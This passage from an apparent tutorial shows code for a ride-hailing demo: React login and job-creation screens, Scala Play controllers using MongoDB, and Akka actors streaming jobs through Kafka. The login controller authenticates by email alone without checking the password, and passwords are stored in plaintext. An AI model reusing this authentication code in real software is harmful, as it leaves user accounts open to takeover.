    handleValidSubmit = (values) =&gt; {
        var passenger = values;
        var self = this;

        $.ajax({
            type: 'POST',
            url: 'registration/save/passenger',
            data: JSON.stringify(passenger),
            contentType: "application/json; charset=utf-8",
            dataType: 'json'
        })
        .done(function (jdata, textStatus, jqXHR) {
            var redactedPassenger = passenger;
            redactedPassenger.password = "";
            console.log("redacted ${redactedPassenger}");
            console.log(redactedPassenger);
            console.log("Auth Service");
            console.log(self.props.authService);
            let userProfile = {
                isDriver: false,
                user: redactedPassenger
            };
            self.setState(
                {
                    wasSuccessful: true,
                    okDialogHeaderText: 'Registration Successful',
                    okDialogBodyText: 'You are now registered',
                    okDialogOpen: true,
                    okDialogKey: Math.random()
                });
            self.props.authService.storeUser(userProfile);
        })
        .fail(function (jqXHR, textStatus, errorThrown) {
            self.setState(
                {
                    okDialogHeaderText: 'Error',
                    okDialogBodyText: jqXHR.responseText,
                    okDialogOpen: true,
                    okDialogKey: Math.random()
                });
        });
    }

    okDialogCallBack = () =&gt; {
        this.setState(
            {
                okDialogOpen: false
            });

        if (this.state.wasSuccessful) {
            hashHistory.push('/');
        }
    }
}
</pre>


<pre lang="Scala">
package entities

import play.api.libs.json._
import play.api.libs.functional.syntax._

case class PassengerRegistration(
  fullName: String,
  email: String,
  password: String)

object PassengerRegistration {
  implicit val formatter = Json.format[PassengerRegistration]
}

object PassengerRegistrationJsonFormatters {

  implicit val passengerRegistrationWrites = new Writes[PassengerRegistration] {
    def writes(passengerRegistration: PassengerRegistration) = Json.obj(
      "fullName" -&gt; passengerRegistration.fullName,
      "email" -&gt; passengerRegistration.email,
      "password" -&gt; passengerRegistration.password
    )
  }

  implicit val passengerRegistrationReads: Reads[PassengerRegistration] = (
    (JsPath \ "fullName").read[String] and
      (JsPath \ "email").read[String] and
      (JsPath \ "password").read[String]
    )(PassengerRegistration.apply _)
}</pre>


<pre lang="Scala">
package controllers

import javax.inject.Inject
import play.api.mvc.{Action, Controller, Result}
import entities._
import entities.DriverRegistrationJsonFormatters._
import entities.PassengerRegistrationJsonFormatters._
import scala.concurrent.{ExecutionContext, Future}
import play.modules.reactivemongo._
import play.api.Logger
import utils.Errors
import play.api.libs.json._
import reactivemongo.api.ReadPreference
import reactivemongo.play.json._
import collection._

class RegistrationController @Inject()
  (val reactiveMongoApi: ReactiveMongoApi)
  (implicit ec: ExecutionContext)
  extends Controller with MongoController with ReactiveMongoComponents {

  def passRegistrationFuture: Future[JSONCollection] = database.map(_.collection[JSONCollection]("passenger-registrations"))
  def driverRegistrationFuture: Future[JSONCollection] = database.map(_.collection[JSONCollection]("driver-registrations"))


  def savePassengerRegistration = Action.async(parse.json) { request =&gt;
    Json.fromJson[PassengerRegistration](request.body) match {
      case JsSuccess(newPassRegistration, _) =&gt;

        //https://github.com/ReactiveMongo/ReactiveMongo-Extensions/blob/0.10.x/guide/dsl.md
        val query = Json.obj("email" -&gt; Json.obj("$eq" -&gt; newPassRegistration.email))

        dealWithRegistration[PassengerRegistration](
          newPassRegistration,
          passRegistrationFuture,
          query,
          PassengerRegistration.formatter)
      case JsError(errors) =&gt;
        Future.successful(BadRequest("Could not build a PassengerRegistration from the json provided. " +
          Errors.show(errors)))
    }
  }

  private def dealWithRegistration[T](
          incomingRegistration: T,
          jsonCollectionFuture: Future[JSONCollection],
          query: JsObject,
          formatter: OFormat[T])
          (implicit ec: ExecutionContext): Future[Result] = {

    def hasExistingRegistrationFuture = jsonCollectionFuture.flatMap {
        //http://reactivemongo.org/releases/0.11/documentation/advanced-topics/collection-api.html
        _.find(query)
        .cursor[JsObject](ReadPreference.primary)
        .collect[List]()
      }.map(_.length match {
          case 0 =&gt; false
          case _ =&gt; true
      }
    )

    hasExistingRegistrationFuture.flatMap {
      case false =&gt; {
        for {
          registrations &lt;- jsonCollectionFuture
          writeResult &lt;- registrations.insert(incomingRegistration)(formatter,ec)
        } yield {
          Logger.debug(s"Successfully inserted with LastError: $writeResult")
          Ok(Json.obj())
        }
      }
      case true =&gt; Future(BadRequest("Registration already exists"))
    }
  }
}
</pre>


<pre lang="React">
import * as React from "react";
import * as ReactDOM from "react-dom";
import { OkDialog } from "./components/OkDialog";
import 'bootstrap/dist/css/bootstrap.css';
import {
    Well,
    Grid,
    Row,
    Col,
    ButtonInput
} from "react-bootstrap";
import { Form, ValidatedInput } from 'react-bootstrap-validation';
import revalidator from 'revalidator';
import { AuthService } from "./services/AuthService";

let schema = {
    properties: {
        email: {
            type: 'string',
            maxLength: 255,
            format: 'email',
            required: true,
            allowEmpty: false
        },
        password: {
            type: 'string',
            minLength: 8,
            maxLength: 60,
            required: true,
            allowEmpty: false
        }
    }
};

export interface LoginState {
    okDialogOpen: boolean;
    okDialogKey: number;
    okDialogHeaderText: string;
    okDialogBodyText: string;
}

export class Login extends React.Component&lt;undefined, LoginState&gt; {

    private _authService: AuthService;

    constructor(props: any) {
        super(props);
        console.log(props);
        this._authService = props.route.authService;
        this.state = {
            okDialogHeaderText: '',
            okDialogBodyText: '',
            okDialogOpen: false,
            okDialogKey: 0
        };
    }

    render() {
        return (
            &lt;Well className="outer-well"&gt;
                &lt;Form
                    // Supply callbacks to both valid and invalid
                    // submit attempts
                    validateAll={this.validateForm}
                    onInvalidSubmit={this.handleInvalidSubmit}
                    onValidSubmit={this.handleValidSubmit}&gt;
                    &lt;Grid&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;Col xs={10} md={6}&gt;
                                &lt;h4&gt;ENTER YOUR LOGIN DETAILS&lt;/h4&gt;
                                &lt;span&gt;&lt;h6&gt;Or click &lt;a href="#/register"&gt;here&lt;/a&gt; to register&lt;/h6&gt;&lt;/span&gt;
                            &lt;/Col&gt;
                        &lt;/Row&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;Col xs={10} md={6}&gt;
                                &lt;ValidatedInput type='text'
                                    label='Email'
                                    name='email'
                                    errorHelp='Email address is invalid' /&gt;

                            &lt;/Col&gt;
                        &lt;/Row&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;Col xs={10} md={6}&gt;
                                &lt;ValidatedInput type='password'
                                    name='password'
                                    label='Password'
                                    errorHelp='Password is invalid' /&gt;

                            &lt;/Col&gt;
                        &lt;/Row&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;Col xs={10} md={6}&gt;
                                &lt;ValidatedInput
                                    type='checkbox'
                                    name='isDriver'
                                    label='Are you a driver?'
                                /&gt;
                            &lt;/Col&gt;
                        &lt;/Row&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;Col xs={10} md={6}&gt;
                                &lt;ButtonInput
                                    id="loginBtn"
                                    type='submit'
                                    bsSize='small'
                                    bsStyle='primary'
                                    value='Register'&gt;Login&lt;/ButtonInput&gt;
                            &lt;/Col&gt;
                        &lt;/Row&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;span&gt;
                                &lt;OkDialog
                                    open={this.state.okDialogOpen}
                                    okCallBack={this.okDialogCallBack}
                                    headerText={this.state.okDialogHeaderText}
                                    bodyText={this.state.okDialogBodyText}
                                    key={this.state.okDialogKey} /&gt;
                            &lt;/span&gt;
                        &lt;/Row&gt;
                    &lt;/Grid&gt;
                &lt;/Form&gt;
            &lt;/Well&gt;
        )
    }

    validateForm = (values) =&gt; {
        let res = revalidator.validate(values, schema);

        // If the values passed validation, we return true
        if (res.valid) {
            return true;
        }

        // Otherwise we should return an object containing errors
        // e.g. { email: true, password: true }
        return res.errors.reduce((errors, error) =&gt; {
            // Set each property to either true or
            // a string error description
            errors[error.property] = true;

            return errors;
        }, {});
    }

    handleInvalidSubmit = (errors, values) =&gt; {

        console.log(values);

        // Errors is an array containing input names
        // that failed to validate
        this.setState(
            {
                okDialogHeaderText: 'Validation Error',
                okDialogBodyText: 'Form has errors and may not be submitted',
                okDialogOpen: true,
                okDialogKey: Math.random()
            });
    }

    handleValidSubmit = (values) =&gt; {
        var logindetails = values;
        var self = this;

        $.ajax({
            type: 'POST',
            url: 'login/validate',
            data: JSON.stringify(logindetails),
            contentType: "application/json; charset=utf-8",
            dataType: 'json'
        })
        .done(function (jdata, textStatus, jqXHR) {

            console.log("result of login");
            console.log(jqXHR.responseText);
            let currentUser = JSON.parse(jqXHR.responseText);
            let userProfile = {
                isDriver: logindetails.isDriver,
                user: currentUser
            };
            self._authService.storeUser(userProfile);

            self.setState(
                {
                    okDialogHeaderText: 'Login Successful',
                    okDialogBodyText: 'You are now logged in',
                    okDialogOpen: true,
                    okDialogKey: Math.random()
                });
        })
        .fail(function (jqXHR, textStatus, errorThrown) {
            self.setState(
                {
                    okDialogHeaderText: 'Error',
                    okDialogBodyText: jqXHR.responseText,
                    okDialogOpen: true,
                    okDialogKey: Math.random()
                });
        });
    }

    okDialogCallBack = () =&gt; {
        this.setState(
            {
                okDialogOpen: false
            });
    }
}
</pre>


<pre lang="Scala">
package entities

import play.api.libs.json._
import play.api.libs.functional.syntax._

case class Login(email: String, password: String, isDriver: Boolean)

object Login {
  implicit val formatter = Json.format[Login]
}

object LoginJsonFormatters {

  implicit val loginWrites = new Writes[Login] {
    def writes(login: Login) = Json.obj(
      "email" -&gt; login.email,
      "password" -&gt; login.password,
      "isDriver" -&gt; login.isDriver
    )
  }

  implicit val loginReads: Reads[Login] = (
      (JsPath \ "email").read[String] and
      (JsPath \ "password").read[String] and
      ((JsPath \ "isDriver").read[Boolean])
    )(Login.apply _)
}
</pre>


<pre lang="Scala">
package controllers

import javax.inject.Inject
import entities.DriverRegistrationJsonFormatters._
import entities.PassengerRegistrationJsonFormatters._
import entities._
import play.api.Logger
import play.api.libs.json._
import play.api.mvc.{Action, Controller, Result}
import play.modules.reactivemongo._
import reactivemongo.api.ReadPreference
import reactivemongo.play.json._
import reactivemongo.play.json.collection._
import utils.Errors


import scala.concurrent.{ExecutionContext, Future}

class LoginController @Inject()
  (val reactiveMongoApi: ReactiveMongoApi)
  (implicit ec: ExecutionContext)
  extends Controller with MongoController with ReactiveMongoComponents {

  def passRegistrationFuture: Future[JSONCollection] = database.map(_.collection[JSONCollection]("passenger-registrations"))
  def driverRegistrationFuture: Future[JSONCollection] = database.map(_.collection[JSONCollection]("driver-registrations"))


  def validateLogin = Action.async(parse.json) { request =&gt;
    Json.fromJson[Login](request.body) match {
      case JsSuccess(newLoginDetails, _) =&gt;
        newLoginDetails.isDriver match {
          case false =&gt; {
            val maybePassengerReg = extractExistingRegistration(
              passRegistrationFuture.flatMap {
                _.find(Json.obj("email" -&gt; Json.obj("$eq" -&gt; newLoginDetails.email))).
                  cursor[JsObject](ReadPreference.primary).
                  collect[List]()
              })
            returnRedactedRegistration[PassengerRegistration](
              maybePassengerReg,
              (reg: PassengerRegistration) =&gt; Ok(Json.toJson(reg.copy(password = "")))
            )

          }
          case true =&gt; {
            val maybeDriverReg = extractExistingRegistration(
              driverRegistrationFuture.flatMap {
                _.find(Json.obj("email" -&gt; Json.obj("$eq" -&gt; newLoginDetails.email))).
                  cursor[JsObject](ReadPreference.primary).
                  collect[List]()
              })
            returnRedactedRegistration[DriverRegistration](
              maybeDriverReg,
              (reg: DriverRegistration) =&gt; Ok(Json.toJson(reg.copy(password = "")))
            )
          }
        }
      case JsError(errors) =&gt;
        Future.successful(BadRequest("Could not build a Login from the json provided. " +
          Errors.show(errors)))
    }
  }

  private def returnRedactedRegistration[T]
  (
    maybeDriverRegFuture: Future[Option[JsObject]],
    redactor : T =&gt; Result
  )(implicit reads: Reads[T]): Future[Result] = {
    maybeDriverRegFuture.map {
      case Some(json) =&gt; {
        val reg = Json.fromJson[T](json)
        reg match {
          case JsSuccess(reg, _) =&gt; {
            redactor(reg)
          }
          case _ =&gt; BadRequest("Login already exists")
        }
      }
      case None =&gt; BadRequest("Could not find login")
    }
  }

  private def extractExistingRegistration[T]
  (incomingRegistrations: Future[List[T]])
  (implicit writes: Writes[T], ec: ExecutionContext): Future[Option[T]] = {
    incomingRegistrations.map(matchedRegistrations =&gt;
      matchedRegistrations.length match {
        case 0 =&gt; None
        case _ =&gt; Some(matchedRegistrations(0))
      }
    )
  }
}
</pre>


<pre lang="React">
import * as React from "react";
import * as ReactDOM from "react-dom";
import * as _ from "lodash";
import Measure from 'react-measure'
import { OkDialog } from "./components/OkDialog";
import 'bootstrap/dist/css/bootstrap.css';
import {
    Well,
    Grid,
    Row,
    Col,
    ButtonInput,
    ButtonGroup,
    Button
} from "react-bootstrap";
import { AuthService } from "./services/AuthService";
import { JobService } from "./services/JobService";
import { PositionService } from "./services/PositionService";
import { UUIDService } from "./services/UUIDService";
import { Position } from "./domain/Position";
import { hashHistory } from 'react-router';
import { withGoogleMap, GoogleMap, Marker, InfoBox, OverlayView } from "react-google-maps";

const STYLES = {
    overlayView: {
        background: `white`,
        border: `1px solid #ccc`,
        padding: 15,
    },
    icon: {
        marginTop: 5,
        marginBottom: 5,
        marginLeft: 20
    }
}


const GetPixelPositionOffset = (width, height) =&gt; {
    return { x: -(width / 2), y: -(height / 2) };
}

const CreateJobGoogleMap = withGoogleMap(props =&gt; (
    &lt;GoogleMap
        ref={props.onMapLoad}
        defaultZoom={16}
        defaultCenter={{ lat: 50.8202949, lng: -0.1406958 }}
        onClick={props.onMapClick}&gt;

        &lt;OverlayView
            key='createJobKey'
            mapPaneName={OverlayView.OVERLAY_MOUSE_TARGET}
            position={props.currentPosition}
            getPixelPositionOffset={GetPixelPositionOffset}&gt;
            &lt;div style={STYLES.overlayView}&gt;
                &lt;img style={STYLES.icon}
                    src='/assets/images/passenger.png' /&gt;
                &lt;br /&gt;
                &lt;Button
                    type='button'
                    bsSize='xsmall'
                    bsStyle='primary'
                    onClick={() =&gt; props.onCreateJobClick()}
                    disabled={props.hasIssuedJob}
                    value='Create Job'&gt;Create Job&lt;/Button&gt;
            &lt;/div&gt;
        &lt;/OverlayView&gt;
    &lt;/GoogleMap&gt;
));


export interface CreateJobState {
    currentPosition: Position;
    dimensions: {
        width: number,
        height: number
    };
    hasIssuedJob: boolean;
    okDialogOpen: boolean;
    okDialogKey: number;
    okDialogHeaderText: string;
    okDialogBodyText: string;
    wasSuccessful: boolean;
}

export class CreateJob extends React.Component&lt;undefined, CreateJobState&gt; {

    private _authService: AuthService;
    private _jobService: JobService;
    private _positionService: PositionService;

    constructor(props: any) {
        super(props);
        this._jobService = props.route.jobService;
        this._authService = props.route.authService;
        this._positionService = props.route.positionService;
        console.log(this._authService.userName());
        console.log(this._authService.userEmail());
        console.log("CreateJob ctor");
        console.log(this._jobService);

        if (!this._authService.isAuthenticated()) {
            hashHistory.push('/');
        }

        if (this._authService.isDriver()) {
            hashHistory.push('/viewjob');
        }

        this.state = {
            currentPosition: new Position(50.8202949, -0.1406958),
            dimensions: { width: -1, height: -1 },
            hasIssuedJob: this._jobService.hasIssuedJob(),
            okDialogHeaderText: '',
            okDialogBodyText: '',
            okDialogOpen: false,
            okDialogKey: 0,
            wasSuccessful: false
        };
    }

    render() {

        const adjustedwidth = this.state.dimensions.width;

        return (
            &lt;Well className="outer-well"&gt;
                &lt;Grid&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;
                            &lt;h4&gt;SET YOUR CURRENT LOCATION&lt;/h4&gt;
                            &lt;h6&gt;Click the map to set your current location&lt;/h6&gt;
                        &lt;/Col&gt;
                    &lt;/Row&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;

                            &lt;Measure
                                bounds
                                onResize={(contentRect) =&gt; {
                                    this.setState({ dimensions: contentRect.bounds })
                                }}
                            &gt;
                                {({ measureRef }) =&gt;
                                    &lt;div ref={measureRef}&gt;
                                        &lt;CreateJobGoogleMap
                                            containerElement={
                                                &lt;div style={{
                                                    position: 'relative',
                                                    top: 0,
                                                    left: 0,
                                                    right: 0,
                                                    bottom: 0,
                                                    justifyContent: 'flex-end',
                                                    alignItems: 'center',
                                                    width: { adjustedwidth },
                                                    height: 600,
                                                    marginTop: 20,
                                                    marginLeft: 0,
                                                    marginRight: 0,
                                                    marginBottom: 20
                                                }} /&gt;
                                            }
                                            mapElement={
                                                &lt;div style={{
                                                    position: 'relative',
                                                    top: 0,
                                                    left: 0,
                                                    right: 0,
                                                    bottom: 0,
                                                    width: { adjustedwidth },
                                                    height: 600,
                                                    marginTop: 20,
                                                    marginLeft: 0,
                                                    marginRight: 0,
                                                    marginBottom: 20
                                                }} /&gt;
                                            }
                                            onMapLoad={this.handleMapLoad}
                                            onMapClick={this.handleMapClick}
                                            currentPosition={this.state.currentPosition}
                                            onCreateJobClick={this.handleCreateJobClick}
                                            hasIssuedJob={this.state.hasIssuedJob}
                                        /&gt;
                                    &lt;/div&gt;
                                }
                            &lt;/Measure&gt;
                        &lt;/Col&gt;
                    &lt;/Row&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;span&gt;
                            &lt;OkDialog
                                open={this.state.okDialogOpen}
                                okCallBack={this.okDialogCallBack}
                                headerText={this.state.okDialogHeaderText}
                                bodyText={this.state.okDialogBodyText}
                                key={this.state.okDialogKey} /&gt;
                        &lt;/span&gt;
                    &lt;/Row&gt;
                &lt;/Grid&gt;
            &lt;/Well&gt;
        );
    }

    handleCreateJobClick = () =&gt; {

        var self = this;
        var currentUser = this._authService.user();

        var newJob = {
            jobUUID: UUIDService.createUUID(),
            clientFullName: currentUser.fullName,
            clientEmail: currentUser.email,
            clientPosition: {
                latitude: self.state.currentPosition.latitude,
                longitude: self.state.currentPosition.longitude
            },
            driverFullName: '',
            driverEmail: '',
            vehicleDescription: '',
            vehicleRegistrationNumber: '',
            isAssigned: false,
            isCompleted: false
        }

        $.ajax({
            type: 'POST',
            url: 'job/submit',
            data: JSON.stringify(newJob),
            contentType: "application/json; charset=utf-8",
            dataType: 'json'
        })
        .done(function (jdata, textStatus, jqXHR) {
            self._jobService.storeUserIssuedJob(newJob);
            const newState = Object.assign({}, self.state, {
                hasIssuedJob: self._jobService.hasIssuedJob()
            });
            self.setState(newState)
            self._positionService.storeUserPosition(self.state.currentPosition);
            hashHistory.push('/viewjob');
        })
        .fail(function (jqXHR, textStatus, errorThrown) {
            const newState = Object.assign({}, self.state, {
                okDialogHeaderText: 'Error',
                okDialogBodyText: jqXHR.responseText,
                okDialogOpen: true,
                okDialogKey: Math.random()
            })
            self.setState(newState)
        });
    }

    okDialogCallBack = () =&gt; {
        this.setState(
            {
                okDialogOpen: false
            });
    }

    handleMapLoad = (map) =&gt; {
        if (map) {
            console.log(map.getZoom());
        }
    }

    handleMapClick = (event) =&gt; {
        const newState = Object.assign({}, this.state, {
            currentPosition: new Position(event.latLng.lat(), event.latLng.lng())
        })
        this.setState(newState)
    }
}
</pre>


<pre lang="JavaScript">
export class Position {

    //my JSON API prefers nice names
    latitude: number;
    longitude: number;

    //map component wants these abbreviated names
    lat: number;
    lng: number;

    constructor(latitude: number, longitude: number) {
        this.latitude = latitude;
        this.longitude = longitude;

        //keep map happy
        this.lat = latitude;
        this.lng = longitude;
    }
   
}
</pre>


<pre lang="JavaScript">
import { injectable, inject } from "inversify";
import { Position } from "../domain/Position";
import { PositionMarker } from "../domain/PositionMarker";
import { TYPES } from "../../src/types";
import { AuthService } from "./AuthService";


@injectable()
export class PositionService {

    private _authService: AuthService;

    constructor( @inject(TYPES.AuthService) authService: AuthService) {
        this._authService = authService;
    }

    clearUserJobPositions = (): void =&gt; {
        let keyCurrentUserJobPositions = 'currentUserJobPositions_' + this._authService.userEmail();
        sessionStorage.removeItem(keyCurrentUserJobPositions);
    }

    storeUserJobPositions = (jobPositions: Array&lt;PositionMarker&gt;): void =&gt; {

        if (jobPositions == null || jobPositions == undefined)
            return;

        let currentUsersJobPositions = {
            currentUser: this._authService.user(),
            jobPositions: jobPositions
        }
        let keyCurrentUserJobPositions = 'currentUserJobPositions_' + this._authService.userEmail();
        sessionStorage.setItem(keyCurrentUserJobPositions, JSON.stringify(currentUsersJobPositions));
    }

    userJobPositions = (): Array&lt;PositionMarker&gt; =&gt; {
        let keyCurrentUserJobPositions = 'currentUserJobPositions_' + this._authService.userEmail();
        var currentUserJobPositions = JSON.parse(sessionStorage.getItem(keyCurrentUserJobPositions));
        return currentUserJobPositions.jobPositions;
    }

    hasJobPositions = (): boolean =&gt; {
        let keyCurrentUserJobPositions = 'currentUserJobPositions_' + this._authService.userEmail();
        var currentUserJobPositions = JSON.parse(sessionStorage.getItem(keyCurrentUserJobPositions));
        return currentUserJobPositions != null &amp;&amp; currentUserJobPositions != undefined;
    }

    clearUserPosition = (): void =&gt; {
        let keyCurrentUserPosition = 'currentUserPosition_' + this._authService.userEmail();
        sessionStorage.removeItem(keyCurrentUserPosition);
    }

    storeUserPosition = (position: Position): void =&gt; {

        if (position == null || position == undefined)
            return;

        let currentUsersPosition = {
            currentUser: this._authService.user(),
            position: position
        }
        let keyCurrentUserPosition = 'currentUserPosition_' + this._authService.userEmail();
        sessionStorage.setItem(keyCurrentUserPosition, JSON.stringify(currentUsersPosition));
    }

    currentPosition = (): Position =&gt; {
        let keyCurrentUserPosition = 'currentUserPosition_' + this._authService.userEmail();
        var currentUsersPosition = JSON.parse(sessionStorage.getItem(keyCurrentUserPosition));
        return currentUsersPosition.position;
    }

    hasPosition = (): boolean =&gt; {
        let keyCurrentUserPosition = 'currentUserPosition_' + this._authService.userEmail();
        var currentUsersPosition = JSON.parse(sessionStorage.getItem(keyCurrentUserPosition));
        return currentUsersPosition != null &amp;&amp; currentUsersPosition != undefined;
    }
}
</pre>


<pre lang="Scala">
package controllers

import javax.inject.Inject

import entities.Job
import entities.JobJsonFormatters._
import entities._
import actors.job.{JobConsumerActor, JobProducerActor}
import akka.actor.{ActorSystem, OneForOneStrategy, Props, SupervisorStrategy}
import akka.pattern.{Backoff, BackoffSupervisor}
import akka.stream.scaladsl.{BroadcastHub, Keep, MergeHub}
import akka.stream.{ActorMaterializer, ActorMaterializerSettings, Supervision}
import play.api.http.ContentTypes
import play.api.libs.Comet
import play.api.libs.json._
import play.api.libs.json.Json
import play.api.libs.json.Format
import play.api.libs.json.JsSuccess
import play.api.libs.json.Writes
import play.api.mvc.{Action, Controller}
import utils.Errors
import scala.concurrent.{ExecutionContext, Future}
import scala.util.Random
import scala.concurrent.duration._

class JobController @Inject()
(
  implicit actorSystem: ActorSystem,
  ec: ExecutionContext
) extends Controller
{
  val rand = new Random()

  //Error handling for streams
  //http://doc.akka.io/docs/akka/2.5.2/scala/stream/stream-error.html
  val decider: Supervision.Decider = {
    case _ =&gt; Supervision.Restart
  }

  implicit val mat = ActorMaterializer(
    ActorMaterializerSettings(actorSystem).withSupervisionStrategy(decider))

  val (sink, source) =
    MergeHub.source[JsValue](perProducerBufferSize = 16)
      .toMat(BroadcastHub.sink(bufferSize = 256))(Keep.both)
      .run()

  //job producer
  val childJobProducerActorProps = Props(classOf[JobProducerActor],mat,ec)
  val jobProducerSupervisorProps = createBackoffSupervisor(childJobProducerActorProps,
    s"JobProducerActor_${rand.nextInt()}")
  val jobProducerSupervisorActorRef = actorSystem.actorOf(jobProducerSupervisorProps,
    name = "jobProducerSupervisor")

  //job consumer
  val childJobConsumerActorProps = Props(new JobConsumerActor(sink)(mat,ec))
  val jobConsumerSupervisorProps = createBackoffSupervisor(childJobConsumerActorProps,
    s"JobConsumerActor_${rand.nextInt()}")
  val jobConsumerSupervisorActorRef = actorSystem.actorOf(jobConsumerSupervisorProps,
    name = "jobConsumerSupervisor")
  jobConsumerSupervisorActorRef ! Init


  def streamedJob() = Action {
    Ok.chunked(source via Comet.json("parent.jobChanged")).as(ContentTypes.HTML)
  }


  def submitJob = Action.async(parse.json) { request =&gt;
    Json.fromJson[Job](request.body) match {
      case JsSuccess(job, _) =&gt; {
        jobProducerSupervisorActorRef ! job
        Future.successful(Ok(Json.toJson(job.copy(clientEmail = job.clientEmail.toUpperCase))))
      }
      case JsError(errors) =&gt;
        Future.successful(BadRequest("Could not build a Job from the json provided. " +
          Errors.show(errors)))
    }
  }


  private def createBackoffSupervisor(childProps:Props, actorChildName: String) : Props = {
    BackoffSupervisor.props(
      Backoff.onStop(
        childProps,
        childName = actorChildName,
        minBackoff = 3.seconds,
        maxBackoff = 30.seconds,
        randomFactor = 0.2
      ).withSupervisorStrategy(
        OneForOneStrategy() {
          case _ =&gt; SupervisorStrategy.Restart
        })
    )
  }

}
</pre>


<pre lang="Scala">
val (sink, source) =
    MergeHub.source[JsValue](perProducerBufferSize = 16)
      .toMat(BroadcastHub.sink(bufferSize = 256))(Keep.both)
      .run()
	  
....
....
....
....
	  
	  
def streamedJob() = Action {
    Ok.chunked(source via Comet.json("parent.jobChanged")).as(ContentTypes.HTML)
  }	  
</pre>


<pre lang="Scala">
ackage actors.job

import kafka.topics.JobTopics
import serialization.JSONSerde
import akka.Done
import akka.actor.{Actor, PoisonPill}
import akka.kafka.ProducerSettings
import akka.kafka.scaladsl.Producer
import akka.stream.scaladsl.{Keep, MergeHub, Source}
import akka.stream.{ActorMaterializer, KillSwitches}
import entities.Job
import org.apache.kafka.clients.producer.ProducerRecord
import org.apache.kafka.common.serialization.{ByteArraySerializer, StringSerializer}
import utils.Settings

import scala.concurrent.ExecutionContext
import scala.util.{Failure, Success}


class JobProducerActor(
  implicit materializer: ActorMaterializer,
  ec: ExecutionContext
) extends Actor {

  val jSONSerde = new JSONSerde[Job]
  val jobProducerSettings = ProducerSettings(
    context.system,
    new StringSerializer,
    new ByteArraySerializer)
    .withBootstrapServers(s"${Settings.bootStrapServers}")

  val ((mergeHubSink, killswitch), kafkaSourceFuture) =
    MergeHub.source[Job](perProducerBufferSize = 16)
      .map(job =&gt; {
        val jobBytes = jSONSerde.serializer().serialize("", job)
        (job, jobBytes)
      })
      .map { jobWithBytes =&gt;
        val (job, jobBytes) = jobWithBytes
        new ProducerRecord[String, Array[Byte]](
          JobTopics.JOB_SUBMIT_TOPIC, job.clientEmail, jobBytes)
      }
      .viaMat(KillSwitches.single)(Keep.both)
      .toMat(Producer.plainSink(jobProducerSettings))(Keep.both)
      .run()

  kafkaSourceFuture.onComplete {
    case Success(value) =&gt; println(s"Got the callback, value = $value")
    case Failure(e) =&gt; {
      self ! PoisonPill
    }
  }

  override def postStop(): Unit = {
    super.postStop()
    println(s"JobProducerActor seen 'Done'")
    killswitch.shutdown()
  }

  override def receive: Receive = {
    case (job: Job) =&gt; {
      println(s"JobProducerActor seen ${job}")
      Source.single(job).runWith(mergeHubSink)
    }
    case Done =&gt; {
      println(s"JobProducerActor seen 'Done'")
      killswitch.shutdown()
      self ! PoisonPill
    }
  }
}
</pre>


<pre lang="Scala">
package actors.job

import entities.{Job, Init}
import kafka.topics.JobTopics
import serialization.JSONSerde
import akka.{Done, NotUsed}
import akka.actor.{Actor, ActorSystem, PoisonPill}
import akka.kafka.{ConsumerSettings, ProducerSettings, Subscriptions}
import akka.kafka.scaladsl.{Consumer, Producer}
import akka.stream.scaladsl.{Keep, MergeHub, Sink, Source}
import akka.stream.{ActorMaterializer, KillSwitches}
import org.apache.kafka.clients.consumer.ConsumerConfig
import org.apache.kafka.clients.producer.ProducerRecord
import org.apache.kafka.common.serialization.{ByteArrayDeserializer, ByteArraySerializer, StringDeserializer, StringSerializer}
import play.api.libs.json.{JsValue, Json}
import utils.Settings

import scala.concurrent.ExecutionContext
import scala.util.{Failure, Success}



//TODO : This actor shouls take in a way of pushing back to Websocket
class JobConsumerActor
  (val sink:Sink[JsValue, NotUsed])
  (implicit materializer: ActorMaterializer, ec: ExecutionContext
) extends Actor {

  val jSONSerde = new JSONSerde[Job]
  val jobConsumerSettings = ConsumerSettings(
    context.system,new StringDeserializer(),new ByteArrayDeserializer())
    .withBootstrapServers(s"${Settings.bootStrapServers}")
    .withGroupId("group1")
    .withProperty(ConsumerConfig.AUTO_OFFSET_RESET_CONFIG, "earliest")

  val ((_, killswitch), kafkaConsumerFuture) =
    Consumer.committableSource(jobConsumerSettings, Subscriptions.topics(JobTopics.JOB_SUBMIT_TOPIC))
      .mapAsync(1) { msg =&gt; {
        val jobBytes = msg.record.value
        val job = jSONSerde.deserializer().deserialize(JobTopics.JOB_SUBMIT_TOPIC,jobBytes)
        self ! job
        msg.committableOffset.commitScaladsl()
      }
      }
      .viaMat(KillSwitches.single)(Keep.both)
      .toMat(Sink.last)(Keep.both)
      .run()


  kafkaConsumerFuture.onComplete {
    case Success(value) =&gt; println(s"Got the callback, value = $value")
    case Failure(e) =&gt; {
      self ! PoisonPill
    }
  }

  override def postStop(): Unit = {
    super.postStop()
    println(s"JobConsumerActor seen 'Done'")
    killswitch.shutdown()
  }

  override def receive: Receive = {
    case (job: Job) =&gt; {
      println(s"JobConsumerActor seen ${job}")
      val finalJsonValue = Json.toJson(job)
      Source.single(finalJsonValue).runWith(sink)
    }
    case Done =&gt; {
      println(s"JobConsumerActor seen 'Done'")
      killswitch.shutdown()
      self ! PoisonPill
    }
    case Init =&gt; {
      println("JobConsumerActor saw init")
    }
  }
}
</pre>


<pre lang="JavaScript">
import { injectable, inject } from "inversify";
import { JobEventArgs } from "../domain/JobEventArgs";
import Rx from 'rx';

@injectable()
export class JobStreamService {

    private _jobSourceObservable: Rx.Observable&lt;any&gt;;

    constructor() {

    }

    init = (): void =&gt; {

        window['jobChanged'] = function (incomingJsonPayload: any) {
            let evt = new CustomEvent('onJobChanged', new JobEventArgs(incomingJsonPayload));
            window.dispatchEvent(evt);
        }

        this._jobSourceObservable = Rx.Observable.fromEvent(window, 'onJobChanged');
    }

    getJobStream = (): Rx.Observable&lt;any&gt; =&gt; {
        return this._jobSourceObservable;
    }
}
</pre>


<pre lang="JavaScript">
componentWillMount() {
    this._subscription =
        this._jobStreamService.getJobStream()
        .subscribe(
        jobArgs =&gt; {
                console.log('RX saw onJobChanged');
